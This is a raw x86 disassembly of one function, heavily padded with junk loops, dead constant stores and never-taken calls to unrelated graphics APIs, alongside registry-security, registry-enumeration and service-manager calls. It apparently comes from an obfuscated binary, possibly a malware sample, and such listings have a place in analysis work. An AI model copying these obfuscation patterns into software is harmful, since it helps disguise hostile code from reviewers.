cmp ecx, 0x39f6
jl 0x1001fe46
mov byte [ebp - 0x11], bl
cmp dword [ebp - 0x24], 0xfffffd2b
jge 0x1001febd
push 0x100091b8
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
cmp byte [ebp - 0x11], 0
je 0x1001fed0
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
cmp dword [ebp - 0x28], 0
jne 0x10020799
cmp dword [ebp - 0xb4], 0
jle 0x10020799
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x1c], 0x64b1
cmp dword [ebp - 0x1c], 0x6604
jle 0x1001ff63
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x38], ebx
add eax, edi
mov dword [ebp - 0x24], 0x656f
mov dword [ebp - 0x3c], eax
mov edi, eax
mov eax, edi
lea ecx, [ebp - 0x2b0]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001ff2c
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x2b0]
call fcn.100109ad
dec edi
dec dword [ebp - 0x24]
jne 0x1001ff12
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x74c6
jl 0x1001ff04
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x6bf8
jl 0x1001feff
mov dword [ebp - 0x40], ebx
cmp dword [ebp - 0x1c], 0x60cd
jge 0x1001ff7a
push 0x10009200
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
push 2
mov dword [ebp - 0x1c], ebx
pop edi
jmp 0x1001ff93
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x190], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1001ff86
mov dword [ebp - 0x1c], ebx
jmp 0x100200ca
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x30], ebx
jmp 0x1002001b
mov dword [ebp - 0x20], 0x2937a3a1
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x10020018
mov dword [ebp - 0x18], 0x5f0ed1ad
mov dword [ebp - 0x18], ebx
jmp 0x1002000b
mov dword [ebp - 0x2c], 0x98e64e6d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1001ffed
push ebx
push 0xa38
push 0x2082
push 0x933
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
mov dword [ebp - 0x2c], ebx
jmp 0x10020003
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x190], 0x60f7e730
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x1001fff2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jle 0x1001ffc7
mov eax, dword [ebp - 0x18]
dec dword [ebp - 0x20]
jns 0x1001ffbb
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jle 0x1001ffac
mov dword [ebp - 0x30], 0xffffffe3
jmp 0x100200bd
push edi
lea ecx, [ebp - 0x14c]
call fcn.10010621
mov dword [ebp - 0x18], ebx
jmp 0x1002004e
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x110], 0x23dcdf5
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002003d
mov dword [ebp - 0x18], ebx
jmp 0x1002006c
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14c]
mov dword [eax + ecx*4], 0xc12a7b09
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10020059
mov dword [ebp - 0x10c], ebx
jmp 0x100200a6
mov dword [ebp - 0x3c], 0xfffffffc
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100200a0
push ebx
push 0x2009
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
dec dword [ebp - 0x10c]
cmp dword [ebp - 0x10c], 0xffffffe4
jle 0x10020079
lea ecx, [ebp - 0x14c]
call fcn.100106a3
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xd
jge 0x1002002c
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffe9
jle 0x1001ffa0
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x1c], ebx
jmp 0x100200f4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x168], 0xffffffff
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x100200e3
push 3
pop edi
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x100201f3
mov dword [ebp - 0x1c], ebx
jmp 0x1002011c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4c], 0xf2000252
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002010e
mov dword [ebp - 0x4c], ebx
jmp 0x100201e1
mov dword [ebp - 0x30], 0x672a8358
mov dword [ebp - 0x30], ebx
jmp 0x100201d5
mov dword [ebp - 0x98], ebx
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
mov dword [ebp - 0x8c], ebx
mov dword [ebp - 0x98], ebx
jmp 0x100201ca
mov dword [ebp - 0x2c], 0xa0bdbdf7
mov dword [ebp - 0x2c], ebx
jmp 0x10020186
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x168], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020183
push ebx
push 0x1cf0
call dword [sym.imp.GDI32.dll_SetBkColor]
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x168]
jle 0x10020164
mov eax, dword [ebp - 0x90]
xor edx, edx
cmp ecx, eax
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
setne dl
mov dword [ebp - 0x3c], edx
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setle dl
xor ecx, ecx
cmp dword [ebp - 0x3c], edx
setge cl
mov dword [ebp + eax*4 - 0x168], ecx
inc dword [ebp - 0x98]
cmp dword [ebp - 0x98], edi
jle 0x10020158
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edi
jle 0x10020138
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], edi
jle 0x10020129
dec dword [ebp - 0x18]
jns 0x10020109
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x158]
push esi
call fcn.10010621
mov dword [ebp - 0x2c], 0xc29000d4
mov dword [ebp - 0x1c], ebx
jmp 0x10020221
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x158]
mov dword [eax + ecx*4], 0x9102071b
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002020e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020236
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov dword [ebp - 0x2c], ebx
jmp 0x10020254
mov dword [ebp - 0x3c], 0xffffffff
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x158]
mov dword [eax + edx*4], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x1002023b
lea ecx, [ebp - 0x158]
call fcn.100106a3
cmp dword [ebp - 0xb0], 0
je 0x10020799
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c5c0]
lea eax, [ebp - 0x1c4]
push eax
lea eax, [ebp - 0x1d4]
mov dword [ebp - 0x6c], ebx
push eax
push ebx
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0x68], ebx
movdqu xmmword [ebp - 0x1d4], xmm0
mov dword [ebp - 0x64], ebx
call fcn.100124d5
mov dword [ebp - 4], 0x17
lea eax, [ebp - 0x1e4]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000c610]
lea ecx, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x30], 0x6f44401d
push eax
push ebx
movdqu xmmword [ebp - 0x1f4], xmm0
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
call fcn.100124d5
mov edi, dword [ebp - 0x6c]
xor ecx, ecx
mov dword [ebp - 0x38], 0x4adb5d23
mov dword [ebp - 0x1c], 0xfffffffd
mov edx, dword [edi + 4]
imul eax, edx, 0x1328
cmp eax, edx
setg cl
cmp edx, ecx
jge 0x10020320
cmp dword [edi], ebx
jne 0x10020320
mov eax, ebx
test edx, edx
je 0x10020322
mov eax, esi
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], ebx
je 0x1002039e
mov dword [ebp - 0x28], ebx
jmp 0x10020340
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x218], 0x5cb5542a
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 3
jl 0x1002032f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1002035a
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], 0xed13222c
mov dword [ebp - 0x30], ebx
jmp 0x10020434
mov dword [ebp - 0x3c], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x6c]
cmp dword [eax + ecx*4], ebx
jne 0x10020423
cmp dword [ebp - 0x30], 3
jle 0x100203b0
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1002044e
push esi
lea ecx, [ebp - 0x78]
call fcn.10010621
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0x34], 0xbf34fda
mov dword [ebp - 0x20], ebx
jmp 0x100207c5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x78]
mov dword [eax + ecx*4], 0x8b13eca4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x100207b5
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100207d9
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x30], 0xfba
cmp dword [ebp - 0x30], 0x1326
jle 0x10020853
mov dword [ebp - 0x38], ebx
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x20], ebx
cdq
idiv edi
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x38]
mov edi, dword [ebp - 0x40]
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x3c], 0x54b
mov eax, ebx
mov ecx, 0x10613338
xor eax, edi
cdq
push edx
push eax
call fcn.1001050c
add edi, dword [ebp - 0x54]
dec dword [ebp - 0x3c]
jne 0x1002080c
mov edi, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x20], edi
push 0
pop ebx
cmp edi, 0x2a80
jl 0x100207f6
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x4c5
jl 0x100207f1
mov eax, dword [ebp - 0x38]
inc eax
mov dword [ebp - 0x38], eax
cmp eax, 0x59e1
jl 0x100207ec
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], ebx
jl 0x10020947
mov dword [ebp - 0x18], ebx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x78]
cmp dword [eax + ecx*4], ebx
jne 0x10020947
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x1002093e
mov dword [ebp - 0x2c], 0x53589fe5
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x78]
cmp dword [eax + ecx*4], 0xfffffffc
jge 0x100208b4
mov eax, dword [ebp - 0x18]
xor edx, edx
mov esi, dword [ebp - 0x18]
mov edi, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ebp - 0x34]
cmp eax, dword [ecx + esi*4]
mov eax, dword [ebp - 0x78]
setl dl
xor esi, esi
inc esi
sub edx, dword [eax + edi*4]
mov edx, esi
jne 0x100208b6
mov edx, ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x78]
mov eax, dword [ecx + eax*4]
sub eax, edx
imul eax, eax, 0xcaf1
mov dword [ecx], eax
mov dword [ebp - 0x2c], ebx
jmp 0x10020930
mov dword [ebp - 0x1c], 0xf0415773
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x78]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [eax + edx*4], ecx
mov dword [ebp - 0x1c], ebx
jmp 0x10020928
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10020925
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020915
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x6d9
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x78]
cmp dword [eax + ecx*4], ebx
jne 0x10020925
dec dword [ebp - 0x20]
jns 0x100208fa
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x100208eb
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ebx
jle 0x100208ce
dec dword [ebp - 0x18]
jns 0x1002087d
dec dword [ebp - 0x34]
jns 0x1002085f
mov byte [ebp - 4], 0x1c
cmp dword [ebp - 0x30], 0xbeb
jge 0x10020984
mov edx, 0x10009294
mov ecx, 0x10613338
call fcn.10011fb6
jmp 0x10020984
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x78]
call fcn.100106a3
mov dword [ebp - 0x20], 0x6dbb
cmp dword [ebp - 0x20], 0x6e4a
jle 0x10020a1b
push 0x1245
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edi, ebx
mov dword [ebp - 0x38], ebx
cdq
idiv edi
mov dword [ebp - 0x3c], 0x71c4
mov edi, edx
mov eax, edi
lea ecx, [ebp - 0x2c8]
cdq
push edx
push eax
call fcn.1000da20
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100209dd
mov eax, dword [eax]
push eax
call fcn.100540b6
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x2c8]
call fcn.100109ad
dec edi
dec dword [ebp - 0x3c]
jne 0x100209c3
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x24]
inc edi
mov dword [ebp - 0x38], edi
cmp edi, 0x7187
jl 0x100209b7
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x6a15
jl 0x100209b2
push ebx
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
lea ecx, [ebp - 0xb4]
call fcn.1001a538
cmp dword [ebp - 0x20], 0x6b1c
jge 0x10020a3a
push 0x10009308
call fcn.100540b6
pop ecx
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x20], 0x62d5e48d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020a5e
push 0xb9f
push 0x556
call dword [sym.imp.GDI32.dll_SetLayout]
mov dword [ebp - 0x20], 0xfffffff0
jmp 0x10020a84
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020a81
push ebx
push 0xaaa
push 0x283
call dword [sym.imp.GDI32.dll_CreatePen]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe9
jl 0x10020a67
mov edi, dword [ebp - 0x28]
test edi, edi
je 0x10020ba8
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x20], ebx
jmp 0x10020aab
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x5c], 0x35568345
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10020a9d
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jl 0x10020b12
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020af4
push 0x2242
push 0xa96
push 0x1bfe
push 0x8ec
push 0x1128
push 0x813
push 0x794
push 0x9a7
push 0x1395
call dword [sym.imp.GDI32.dll_Arc]
mov edx, esi
cmp dword [ebp - 0x18], ebx
jne 0x10020afd
mov edx, ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x5c]
mov eax, dword [ebp - 0x18]
sub ecx, edx
mov dword [ebp + eax*4 - 0x5c], ecx
dec dword [ebp - 0x18]
jns 0x10020ab8
mov edx, dword [ebp - 0x44]
mov ecx, edi
mov dword [ebp - 0x5c], 0xf48c443e
call fcn.1001ef5b
mov edi, eax
lea ecx, [ebp - 0x11c]
push 3
mov dword [ebp - 0xcc], edi
call fcn.10010621
mov dword [ebp - 0x20], 0x96960f57
mov dword [ebp - 0x44], 0x67f5ed9a
mov dword [ebp - 0x20], ebx
jmp 0x10020b5e
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x11c]
mov dword [eax + ecx*4], 2
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10020b4b
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x10020b8f
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x11c]
cmp dword [eax + ecx*4], 0x8974b666
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
dec dword [ebp - 0x20]
jns 0x10020b70
lea ecx, [ebp - 0x11c]
call fcn.100106a3
lea eax, [ebp - 0x88]
push eax
call fcn.10020e30
mov dword [eax], edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x40], ebx
push 0xfffffffffffffffd
mov dword [ebp - 0x18], 0x7ee3
pop edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x24], 0xfffffffe
cmp dword [ebp - 0x28], ebx
jne 0x10020c12
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x18]
dec eax
neg eax
sbb eax, eax
xor edx, edx
neg eax
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x18]
jle 0x10020bf6
mov ecx, esi
cmp dword [ebp - 0x20], ebx
jne 0x10020bf8
mov ecx, ebx
xor eax, eax
mov edx, ebx
cmp ecx, 0x4f23
setge al
sub eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x28]
cmp eax, 0x624c
jge 0x10020c14
mov edx, esi
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x18]
jle 0x10020c35
mov dword [ebp - 0x40], 0xfffffffb
mov dword [ebp - 0x20], edi
inc dword [ebp - 0x24]
jmp 0x10020cf5
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x18], 0x10
jmp 0x10020ceb
mov dword [ebp - 0x44], 0x121f
mov dword [ebp - 0x40], 0xa1ec8f94
mov dword [ebp - 0x20], ebx
jmp 0x10020c65
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x58], 0xbf81
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x10020c57
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10020c85
push ebx
push 0xcd3
push ebx
push 0x15c5
call dword [sym.imp.USER32.dll_SetTimer]
mov edx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
inc edx
inc eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp edx, eax
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x58]
setle cl
sub edx, 2
neg edx
sbb edx, edx
inc edx
sub edx, ecx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 0x28]
setge cl
xor edx, edx
cmp ecx, 0x5f4d
setle dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp ecx, 0xfffffff8
setne al
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x40], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x16
jg 0x10020c44
mov eax, dword [ebp + 8]
lea esi, [ebp - 0xcc]
mov ecx, dword [ebp - 0xc]
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret